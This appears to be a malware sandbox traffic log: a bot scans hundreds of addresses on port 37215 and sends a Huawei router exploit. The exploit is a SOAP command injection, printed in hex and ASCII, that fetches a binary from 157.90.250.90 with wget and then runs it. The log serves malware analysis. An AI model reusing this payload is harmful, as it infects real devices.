Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.60.92.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.26.235.33:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.211.52.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.105.43.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.100.63.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.234.240.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.136.15.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.95.138.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.242.206.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.165.206.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.168.2.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.148.105.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.172.101.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.54.208.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.43.132.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.243.175.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.160.2.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.114.201.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.33.15.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.33.92.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.112.1.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.167.253.45:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.5.63.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.198.245.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.234.222.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.237.61.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.117.16.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.148.169.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.83.91.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.92.95.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.50.170.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.68.204.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.254.201.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.194.172.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.98.220.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.137.68.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.69.23.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.86.168.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.146.255.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.173.105.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.21.3.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.83.112.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.30.236.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.208.23.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.202.35.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.61.121.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.128.168.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.32.79.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.33.185.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.193.41.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.178.58.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.90.206.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.212.74.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.31.147.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.10.13.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.189.204.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.132.132.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.69.19.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.236.202.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.178.23.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.78.166.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.176.72.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.248.229.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.125.64.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.75.253.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.234.176.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.195.119.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.103.9.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.48.60.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.51.71.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.19.192.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.138.35.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.120.0.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.89.76.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.53.99.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.93.183.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.205.151.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.35.91.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.244.216.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.75.165.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.214.176.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.202.193.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.215.67.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.140.162.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.38.176.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.2.67.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.181.252.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.184.132.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.143.236.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.212.179.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.226.95.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.49.23.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.151.115.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.28.113.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.92.26.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.132.36.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.91.135.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.38.206.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.177.150.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.204.85.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.182.58.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.247.43.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.212.86.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.91.35.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.129.175.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.215.226.33:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.62.227.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.138.159.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.112.36.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.45.55.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.238.75.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.118.228.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.35.192.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.85.122.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.191.64.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.229.215.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.192.111.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.149.94.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.190.171.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.196.43.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.79.182.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.60.204.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.150.196.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.9.239.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.238.214.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.239.149.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.238.224.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.239.231.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.181.167.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.75.168.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.161.0.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.255.50.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.248.49.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.92.62.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.98.150.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.104.17.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.91.253.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.104.29.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.244.246.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.149.67.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.254.101.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.242.44.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.51.215.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.118.155.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.247.79.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.241.146.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.215.142.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.115.47.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.233.226.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.240.184.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.108.204.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.23.174.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.29.226.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.82.167.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.55.236.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.159.136.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.101.53.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.64.88.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.63.225.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.106.145.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.164.92.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.252.138.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.146.140.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.124.166.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.178.131.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.219.246.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.12.97.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.26.8.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.128.98.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.0.116.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.27.88.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.220.233.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.153.141.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.170.139.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.171.230.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.82.19.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.240.80.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.155.247.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.124.91.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.139.112.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.3.54.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.237.108.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.228.170.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.184.134.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.11.17.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.34.144.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.71.165.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.250.4.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.99.62.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.231.221.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.227.110.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.164.139.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.99.125.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.64.253.110:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.254.94.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.204.133.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.105.164.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.140.168.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.182.44.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.110.187.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.178.157.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.33.65.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.1.190.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.20.172.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.116.204.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.217.8.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.30.40.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.238.101.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.99.47.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.38.252.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.47.160.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.151.244.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.24.13.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.192.252.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.129.56.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.71.29.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.145.29.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.118.109.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.234.3.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.9.226.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.154.98.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.21.125.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.105.95.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.136.172.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.196.124.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.186.25.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.235.98.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.89.10.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.155.115.138:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.33.226.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.23.169.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.60.44.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.161.237.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.66.84.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.252.220.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.87.13.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.106.111.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.226.97.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.102.202.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.143.159.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.192.21.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.107.187.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.123.96.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.20.44.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.223.140.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.247.101.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.150.88.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.206.42.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.59.186.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.84.162.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.94.229.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.97.176.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.40.101.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.14.213.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.254.155.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.211.87.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.204.91.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.117.216.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.185.14.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.16.195.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.51.55.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.214.216.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.118.195.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.2.150.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.148.2.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.176.181.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.79.221.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.233.108.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.65.3.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.146.189.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.186.151.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.59.102.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.47.217.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.53.124.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.186.186.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.128.33.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.14.170.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.225.136.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.64.168.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.69.107.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.73.147.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.97.239.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.177.100.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.239.172.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.89.187.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.184.210.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.5.165.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.224.54.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.233.46.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.227.52.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.190.43.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.122.49.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.170.148.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.46.42.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.3.118.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.170.158.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.138.97.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.81.148.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.51.202.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.184.237.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.5.68.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.222.255.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.73.210.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.42.202.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.0.233.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.203.242.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.133.89.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.87.192.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.31.132.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.16.89.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.180.232.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.14.97.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.52.115.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.159.65.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.164.70.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.21.101.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.99.137.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.67.1.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.78.11.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 197.175.127.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.89.231.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.46.215.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.135.88.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.67.162.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 156.164.97.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.250.247.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:5603 -> 41.112.2.240:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r 